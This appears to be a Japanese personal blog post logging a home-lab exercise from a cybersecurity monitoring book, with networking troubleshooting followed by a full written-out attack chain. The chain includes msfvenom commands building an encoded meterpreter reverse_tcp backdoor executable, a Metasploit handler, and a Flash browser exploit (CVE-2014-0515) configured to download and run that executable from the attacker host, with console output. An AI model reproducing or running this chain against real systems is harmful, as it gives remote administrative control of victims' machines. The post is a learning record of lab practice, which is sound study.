サイバーセキュリティモニタリング(攻撃と侵入編)

サイバーセキュリティモニタリング(環境構築編) - あしのあしあと」の続き。「2 章は、簡単だ〜!!」と思っていたのだが、殊の外、うまくいかなかった。


まずは、攻撃するホストで、HTTP サーバを起動した。これがワナのサイトになる。ここまでは、よい。なのだが、標的となるホストから、この HTTP サーバに接続できない。
逆はできる。標的となるホストで HTTP サーバを起動すると、攻撃するホストからはアクセスできる。
とりあえず、攻撃するホストで、iptables のフィルタをなくした。SELinux が無効になっていることも確認した。だけど、つながらない。「どうしてつながらないんだろう?」と悩みに悩んで、「まさか」と思い調べてみると、、ホスト OS と、ゲスト OS で、IP アドレスがいっしょだった。。あるある。
はい。すぐに、つながるようになりました。


読み進めていくと、2.6 あたりで一時停止。どうも、うまくいかない。とりあえず「malware.exe」は、きちんとできていた。実行すると、reverse_tcp で、ちゃんとバックドアを作成してくれる。だが、肝心なところがダメ。
試しに、標的となるホストでワナのページにアクセスしてみる。当然、攻撃するホストは、それっぽい応答を返してくる。コンソールにも、ちゃんと出力される。
クライアント側は、何かをロードした後にリダイレクトしているように見え、最終的に 404 が返ってくる。ブラウザのバージョンがダメなんだろうなぁと思いつつ、「たぶんわからないから、とりあえず放置しよう」かと。


で、気をとりなおして、2 章の「章末問題」をやる。ココから、手順をメモ。といっても、本編と同じなので、メモはいらないのだが。一応。


まずは、ワナとなるサーバを起動する。

# cd ~/destination
# python -m SimpleHTTPServer 443
Serving HTTP on 0.0.0.0 port 443 ...

次に、~/destination に、バックドアをつくってくれるプログラム(malware.exe)を生成する。

# msfvenom -a x86 --platform windows \
           -e x86/shikata_ga_nai \
           -p windows/meterpreter/reverse_tcp \
           LHOST=192.168.1.3 \
           LPORT=8080 \
           -f exe -o malware.exe

Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai chosen with final size 360
Payload size: 360 bytes
Final size of exe file: 73802 bytes
Saved as: malware

Metasploit のコンソール上で、該当のシェルコードを検索する。

search cve:2014-0515

ポート 8080 で、バックドアと通信するためのサービスを起動する。

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.3
set LPORT 8080

exploit

[*] Started reverse TCP handler on 192.168.1.3:8080
[*] Starting the payload handler...

ワナのページを作成し、標的となるユーザのアクセスを待つ。で、標的となるホストで、ワナのページにアクセスすると発火。

use exploit/multi/browser/adobe_flash_pixel_bender_bof

set SRVHOST 192.168.1.3
set SRVPORT 80
set URIPATH /ie
set PAYLOAD windows/download_exec
set URL http://192.168.1.3:443/malware.exe
set EXE malware.exe

exploit

[*] Exploit running as background job.
[*] Using URL: http://192.168.1.3:80/ie
[*] Server started.

[*] Gathering target information for 192.168.1.5
[*] Sending HTML response to 192.168.1.5
[*] Request: /ie/rrgbnM/
[*] Sending HTML...
[*] Request: /ie/rrgbnM/npyQTq.swf
[*] Sending SWF...

リモートから、管理者権限でアクセスできるようになる。うん。こっちはうまくいく。とりあえず、2 章は終わりとするか。